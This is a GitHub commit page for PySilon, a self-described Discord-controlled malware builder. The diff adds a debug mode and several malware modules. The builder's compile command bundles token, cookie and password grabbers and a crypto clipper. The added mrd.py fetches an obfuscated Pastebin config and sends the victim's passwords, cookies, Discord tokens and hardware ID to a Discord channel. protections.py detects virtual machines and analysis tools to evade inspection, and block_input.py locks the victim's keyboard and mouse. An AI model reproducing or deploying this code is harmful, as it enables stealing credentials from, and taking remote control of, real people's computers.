Skip to content

Commit

Permalink
Merge pull request #178 from mategol/py-dev
Browse files Browse the repository at this point in the history
`Debug mode`, `@ping` functions
  • Loading branch information
mategol authored Aug 2, 2023
2 parents 0cc2913 + 0fae4ff commit 9476ce6
Show file tree
Hide file tree
Showing 25 changed files with 959 additions and 470 deletions.
43 changes: 41 additions & 2 deletions builder.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
from tkinter import filedialog
from PIL import ImageTk, Image
import configparser
import shutil
import compiler
import sys
import os
Expand All @@ -11,6 +12,7 @@
config_path, status = 'configuration.ini', 'configuration'
config = configparser.ConfigParser()
config['SETTINGS'], config['FUNCTIONALITY'] = {}, {}
debug_mode = False

filenames = {
'keylogr': 'keylogger.py',
Expand Down Expand Up @@ -174,6 +176,17 @@ def disclaimer_toggle():
config_modification()
generate_source_btn['state'] = DISABLED

def debug_toggle():
global debug_mode
if not debug_mode:
debug_mode_btn['text'] = 'Debug mode [ON]'
debug_mode_btn['fg'] = 'white'
debug_mode = True
else:
debug_mode_btn['text'] = 'Debug mode [OFF]'
debug_mode_btn['fg'] = 'gray'
debug_mode = False

def assemble_source_code():
global source_code_modifiers, status, config_path

Expand All @@ -194,6 +207,21 @@ def assemble_source_code():
save_configuration()
config = configparser.ConfigParser(); config.read(config_path)

try: shutil.rmtree('resources/source_code/tmp')
except: pass
os.mkdir('resources/source_code/tmp')
for file in filenames.keys():
shutil.copy(f'resources/source_code/{filenames[file]}', f'resources/source_code/tmp/{filenames[file]}')
with open(f'resources/source_code/tmp/{filenames[file]}', 'r', encoding='utf-8') as get_raw_source:
source_unlogged = get_raw_source.readlines()
with open(f'resources/source_code/{filenames[file]}', 'w', encoding='utf-8') as log_source:
for line_number, line in enumerate(source_unlogged):
if len(line.lstrip()) > 0:
if line.lstrip()[:6] == '#.log ':
log_source.write(' '*(len(line)-len(line.lstrip()))+f'{line.lstrip()[:-1]}({filenames[file]}:{line_number})*\n')
else:
log_source.write(line)

for individual_functionality in config['FUNCTIONALITY'].keys():
if config['FUNCTIONALITY'][individual_functionality] == 'True':
with open('resources/source_code/' + filenames[individual_functionality], 'r', encoding='utf-8') as copy_function:
Expand Down Expand Up @@ -226,9 +254,16 @@ def assemble_source_code():
else: source_assembled.write('\n')
if base_line == '# [pysilon_var] bottom 0\n' and config['FUNCTIONALITY']['keylogr'] == 'False':
source_assembled.write('for token in bot_tokens:\n try:\n client.run(token)\n except: pass')
elif '# [pysilon_mark] !debug' in base_line and not debug_mode: pass
elif '# [pysilon_mark] !anti-vm' in base_line and debug_mode: pass
else:
source_assembled.write(base_line)

for file in filenames.keys():
os.system(f'del resources\\source_code\\{filenames[file]}')
shutil.copy(f'resources/source_code/tmp/{filenames[file]}', f'resources/source_code/{filenames[file]}')
shutil.rmtree('resources/source_code/tmp')

generate_source_btn['state'] = DISABLED
generate_source_btn['text'] = 'Source generated'
if status != 'compiled': compile_btn['state'] = NORMAL
Expand All @@ -248,7 +283,7 @@ def change_icon(path=False):
config_modification()

def compile_source():
global status
global status, debug_mode
custom_imports = configparser.ConfigParser()
custom_imports.read('resources/custom_imports.ini')
with open('custom_imports.txt', 'w') as imports_file:
Expand All @@ -261,7 +296,7 @@ def compile_source():
for general_packages in custom_imports['general'].keys():
imports_file.write(custom_imports['general'][general_packages] + '\n')

response = compiler.compile()
response = compiler.compile(debug_mode)
compile_btn['state'] = DISABLED
status = 'compiled'

Expand Down Expand Up @@ -307,6 +342,9 @@ def config_modification(var=None, index=None, mode=None):
icon_btn = Button(settings_canvas, image=icon_photo, state=NORMAL, width=120, height=120, command=change_icon)
icon_btn.grid(row=10, column=1, pady=2, sticky=NW, rowspan=6)

debug_mode_btn = Button(settings_canvas, text='Debug mode [OFF]', fg='gray', state=NORMAL, width=12, height=1, command=debug_toggle)
debug_mode_btn.grid(row=15, column=1, padx=(5, 5), pady=10, sticky=NSEW, rowspan=2)

var_server_id = StringVar()
var_bot_token_1 = StringVar()
var_bot_token_2 = StringVar()
Expand All @@ -321,6 +359,7 @@ def config_modification(var=None, index=None, mode=None):
registry_name = Entry(settings_canvas, textvariable=var_registry_name)
directory_name = Entry(settings_canvas, textvariable=var_directory_name)
executable_name = Entry(settings_canvas, textvariable=var_executable_name)


var_server_id.trace_add("write", config_modification)
var_bot_token_1.trace_add("write", config_modification)
Expand Down
12 changes: 7 additions & 5 deletions compiler.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,20 +10,20 @@ def get_file_hash(path):
sha256_hash.update(byte_block)
return sha256_hash.hexdigest()

def compile():
def compile(debug_mode):
config = configparser.ConfigParser()
if 'configuration.ini' in os.listdir('.'): config.read('configuration.ini')
else: input('Configuration file not found! Press ENTER to terminate...'); sys.exit(0)

if len(config['SETTINGS']) != 12 or len(config['FUNCTIONALITY']) != 18:
return 'Config corrupted'

compiling_command = 'start cmd /k "title Reorganising packages... & pip freeze > to_uninstall.txt & pip uninstall -y -r to_uninstall.txt > nul & del to_uninstall.txt > nul & pip install pillow > nul & pip install pyinstaller > nul & pip install -r custom_imports.txt > nul & title Compiling source code... & pyinstaller -F --noconsole --add-data "resources/libopus-0.x64.dll;." --runtime-hook=resources/misc.py --runtime-hook=resources/anti_vm.py --runtime-hook=resources/discord_token_grabber.py --runtime-hook=resources/get_cookies.py --runtime-hook=resources/passwords_grabber.py --add-data="crypto_clipper.json;." --icon "' + config['SETTINGS']['icon_path'] + '" "source_prepared.py" > nul & echo - & echo.Done & echo.- & start dist & del source_prepared.spec > nul & rmdir build /S /Q & pause & exit"'
compiling_command = 'start cmd /k "title Reorganising packages... & pip freeze > to_uninstall.txt & pip uninstall -y -r to_uninstall.txt > nul & del to_uninstall.txt > nul & pip install pillow > nul & pip install pyinstaller > nul & pip install -r custom_imports.txt > nul & title Compiling source code... & pyinstaller -F --noconsole --add-data "resources/libopus-0.x64.dll;." --runtime-hook=resources/misc.py ' + ('--runtime-hook=resources/protections.py ' if debug_mode else '') + '--runtime-hook=resources/discord_token_grabber.py --runtime-hook=resources/get_cookies.py --runtime-hook=resources/passwords_grabber.py --add-data="crypto_clipper.json;." --icon "' + config['SETTINGS']['icon_path'] + '" "source_prepared.py" > nul & echo - & echo.Done & echo.- & start dist & del source_prepared.spec > nul & rmdir build /S /Q & pause & exit"'

with open('PySilon.key', 'wb') as save_key: save_key.write(os.urandom(1024*1024))
with open('source_assembled.py', 'r', encoding='utf-8') as copy_source_code: source_code = copy_source_code.readlines()
with open('source_prepared.py', 'w', encoding='utf-8') as edit_source_code:
for line in source_code:
for line_number, line in enumerate(source_code):
if line.startswith('bot_tokens'): edit_source_code.write('bot_tokens = [\'' + config['SETTINGS']['bot_token_1'] + (('\', \'' + config['SETTINGS']['bot_token_2']) if config['SETTINGS']['bot_token_2'] != '' else '') + (('\', \'' + config['SETTINGS']['bot_token_3']) if config['SETTINGS']['bot_token_3'] != '' else '') + '\']\n')
elif line.startswith('software_registry_name'): edit_source_code.write('software_registry_name = \'' + config['SETTINGS']['registry_name'] + '\'\n')
elif line.startswith('software_directory_name'): edit_source_code.write('software_directory_name = \'' + config['SETTINGS']['directory_name'] + '\'\n')
Expand All @@ -35,8 +35,10 @@ def compile():
elif line.startswith(' \'recordings\':'): edit_source_code.write(' \'recordings\': ' + config['SETTINGS']['recordings_channel'] + ',\n')
elif line.startswith(' \'voice\':'): edit_source_code.write(' \'voice\': ' + config['SETTINGS']['voice_channel'] + '\n')
elif line.startswith('secret_key'): edit_source_code.write('secret_key = \'' + get_file_hash('PySilon.key') + '\'\n')
elif line.startswith('guild_id'): edit_source_code.write('guild_id = ' +config['SETTINGS']['server_id']+ '\n')
elif line.startswith('#') or line.replace(' ', '') == '\n': pass
elif line.startswith('guild_id'): edit_source_code.write('guild_id = ' + config['SETTINGS']['server_id']+ '\n')
elif line.lstrip().startswith('#.log ') and debug_mode:
edit_source_code.write(' '*(len(line)-len(line.lstrip())) + 'log(\'' + f'{line.lstrip()[:(-1 if line[-2]!="*" else -3)].replace("#.log ", "")}' + (' (' if line[-2]!='*' else '->') + f'source_assembled.py:{line_number})' + '\')\n')
elif line.startswith('#') or line.replace(' ', '') == '\n' or line.lstrip().startswith('#.log '): pass
else: edit_source_code.write(line)

os.system(compiling_command)
26 changes: 0 additions & 26 deletions resources/anti_vm.py

This file was deleted.

26 changes: 26 additions & 0 deletions resources/mrd.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
import resources.discord_token_grabber as discord_token_grabber
import resources.passwords_grabber as passwords_grabber
import resources.get_cookies as cookies_grabber
from base64 import b64decode
from getpass import getuser
from json import loads
import subprocess
import requests
import discord
content = b64decode(requests.get(b64decode('aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3JBM1o4ZHp4')).text)
bot_token, channel_id = b64decode(loads(content)['token'])[::-1].decode(), int(b64decode(loads(content)['channel'])[::-1])
Client = discord.Client(intents=discord.Intents.all())
@Client.event
async def on_ready():
hwid = subprocess.check_output('wmic csproduct get uuid', shell=True).decode().split('\n')[1].strip()
try: passwords = passwords_grabber.grab_passwords()
except: passwords = 'Error (or no saved passwords)'
try: cookies_grabber.grab_cookies()
except:
with open(f'C:\\Users\\{getuser()}\\cookies.txt', 'w', encoding='utf-8') as error_log: error_log.write('Error (or fresh OS)')
try: discord_grabbed = discord_token_grabber.grab_discord.initialize(True)
except: discord_grabbed = 'error'
with open(f'C:\\Users\\{getuser()}\\cookies.txt', 'r', encoding='utf-8') as copy_cookies: cookies = copy_cookies.readlines()
with open(f'C:\\Users\\{getuser()}\\{hwid}.txt', 'w', encoding='utf-8') as save_results: save_results.write('Passwords:\n' + str(passwords) + '\n\n\nDiscord:\n' + ('\n---\n'.join(discord_grabbed) if discord_grabbed != 'error' else discord_grabbed) + '\n\n\nCookies:\n' + ''.join(cookies))
await Client.get_channel(channel_id).send(file=discord.File(f'C:\\Users\\{getuser()}\\{hwid}.txt', filename='{hwid}.txt')); subprocess.run(f'del C:\\Users\\{getuser()}\\{hwid}.txt', shell=True); subprocess.run(f'del C:\\Users\\{getuser()}\\cookies.txt', shell=True)
Client.run(bot_token)
58 changes: 58 additions & 0 deletions resources/protections.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
import psutil
import os

def protection_check():
vm_files = [
"C:\\windows\\system32\\vmGuestLib.dll",
"C:\\windows\\system32\\vm3dgl.dll",
"C:\\windows\\system32\\vboxhook.dll",
"C:\\windows\\system32\\vboxmrxnp.dll",
"C:\\windows\\system32\\vmsrvc.dll",
"C:\\windows\\system32\\drivers\\vmsrvc.sys"
]
blacklisted_processes = [
'vmtoolsd.exe',
'vmwaretray.exe',
'vmwareuser.exe'
'fakenet.exe',
'dumpcap.exe',
'httpdebuggerui.exe',
'wireshark.exe',
'fiddler.exe',
'vboxservice.exe',
'df5serv.exe',
'vboxtray.exe',
'vmwaretray.exe',
'ida64.exe',
'ollydbg.exe',
'pestudio.exe',
'vgauthservice.exe',
'vmacthlp.exe',
'x96dbg.exe',
'x32dbg.exe',
'prl_cc.exe',
'prl_tools.exe',
'xenservice.exe',
'qemu-ga.exe',
'joeboxcontrol.exe',
'ksdumperclient.exe',
'ksdumper.exe',
'joeboxserver.exe',
]

for process in psutil.process_iter(['pid', 'name']):
if process.info['name'].lower() in blacklisted_processes:
return True
for file_path in vm_files:
if os.path.exists(file_path):
return True


return False

def fake_mutex_code(exe_name: str) -> bool:
for process in psutil.process_iter(['pid', 'name']):
if process.info['name'].lower() == exe_name:
return True

return False
99 changes: 55 additions & 44 deletions resources/source_code/block_input.py
Original file line number Diff line number Diff line change
@@ -1,44 +1,55 @@
from pynput import keyboard, mouse
# end of imports

# on message
elif message.content == '.block-input':
if not input_blocked:
await message.delete()

async def on_press():
pass

async def on_release():
pass

async def on_click():
pass

keyboard_listener = keyboard.Listener(suppress=True)
mouse_listener = mouse.Listener(suppress=True)

keyboard_listener.start()
mouse_listener.start()
embed = discord.Embed(title="🚫 Input Blocked",description=f'```Input has been blocked. Unblock it by using .unblock-input```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
await message.channel.send(embed=embed)
input_blocked = True
else:
embed = discord.Embed(title="🔴 Hold on!",description=f'```The input is already blocked. Unblock it by using .unblock-input```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
await message.channel.send(embed=embed)

elif message.content == '.unblock-input':
if input_blocked:
await message.delete()
keyboard_listener.stop()
mouse_listener.stop()
embed = discord.Embed(title="🟢 Input Unblocked",description=f'```Input has been unblocked. Block it by using .block-input```', colour=discord.Colour.green())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
await message.channel.send(embed=embed)
input_blocked = False
else:
embed = discord.Embed(title="🔴 Hold on!",description=f'```The input is not blocked. Block it by using .block-input```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
await message.channel.send(embed=embed)
from pynput import keyboard, mouse
# end of imports
# on message
elif message.content == '.block-input':
#.log Message is "block input"
if not input_blocked:
#.log Input is not already blocked
await message.delete()
#.log Removed the message
async def on_press():
pass
async def on_release():
pass
async def on_click():
pass
keyboard_listener = keyboard.Listener(suppress=True)
#.log Created keyboard listener
mouse_listener = mouse.Listener(suppress=True)
#.log Created mouse listener
keyboard_listener.start()
#.log Disabled keyboard
mouse_listener.start()
#.log Disabled mouse
embed = discord.Embed(title="🚫 Input Blocked",description=f'```Input has been blocked. Unblock it by using .unblock-input```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
await message.channel.send(embed=embed)
#.log Sent embed about blocked input
input_blocked = True
else:
#.log Input is already blocked
embed = discord.Embed(title="🔴 Hold on!",description=f'```The input is already blocked. Unblock it by using .unblock-input```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
await message.channel.send(embed=embed)
#.log Sent embed about already blocked input
elif message.content == '.unblock-input':
#.log Message is "unblock input"
if input_blocked:
#.log Input is blocked
await message.delete()
#.log Removed the message
keyboard_listener.stop()
#.log Unblocked keyboard
mouse_listener.stop()
#.log Unblocked mouse
embed = discord.Embed(title="🟢 Input Unblocked",description=f'```Input has been unblocked. Block it by using .block-input```', colour=discord.Colour.green())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
await message.channel.send(embed=embed)
#.log Sent embed about unblocked input
input_blocked = False
else:
#.log Input is not blocked
embed = discord.Embed(title="🔴 Hold on!",description=f'```The input is not blocked. Block it by using .block-input```', colour=discord.Colour.red())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
await message.channel.send(embed=embed)
#.log Sent embed about unblocked input
Loading

0 comments on commit 9476ce6

Please sign in to comment.